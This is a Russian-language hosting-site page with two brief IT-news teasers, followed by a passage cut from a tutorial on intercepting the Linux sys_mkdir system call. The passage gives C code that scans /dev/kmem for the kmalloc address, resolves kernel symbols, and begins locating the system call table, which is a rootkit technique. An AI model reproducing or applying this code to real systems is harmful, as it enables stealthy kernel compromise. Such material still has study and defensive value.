Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
if(p1) {
Если последовательность x68xf0x01x00 найдена, ищем опкод инструкции call (xe8). Сразу за ним будет находиться смещение к функции kmalloc относительно текущего адреса:
p=(char *)memmem(p1+4,sizeof(buf),"xe8",1)+1;
if (p) {
В этом месте указатель p в буфере buf будет позиционирован на смещении к функции kmalloc. Закрываем файл устройства и возвращаем адрес kmalloc:
close(kmem);
return *(unsigned long *)p+i+(p-buf)+4;
}
}
}
Если ничего найти не удалось, возвращаем нулевое значение:
close(kmem);
return 0;
}
Функция get_sym используется, если в ядре включена поддержка модулей. Данная функция принимает строку, содержащую имя функции ядра, и возвращает ее адрес:
#define MAX_SYMS 4096
ulong get_sym(char *n) {
struct kernel_sym tab[MAX_SYMS];
int numsyms;
int i;
numsyms = get_kernel_syms(NULL);
if (numsyms > MAX_SYMS || numsyms < 0) return 0;
get_kernel_syms(tab);
for (i = 0; i < numsyms; i++) {
if (!strncmp(n, tab[i].name, strlen(n)))
return tab[i].value;
}
return 0;
}
Итак, все необходимые функции определены. Теперь приступим непосредственно к перехвату системного вызова sys_mkdir. Определим адреса таблицы системных вызовов (sct), функции kmalloc (kma) и нижней границы адресного пространства ядра (page_offset):
sct = get_sct();
page_offset = sct & 0xF0000000;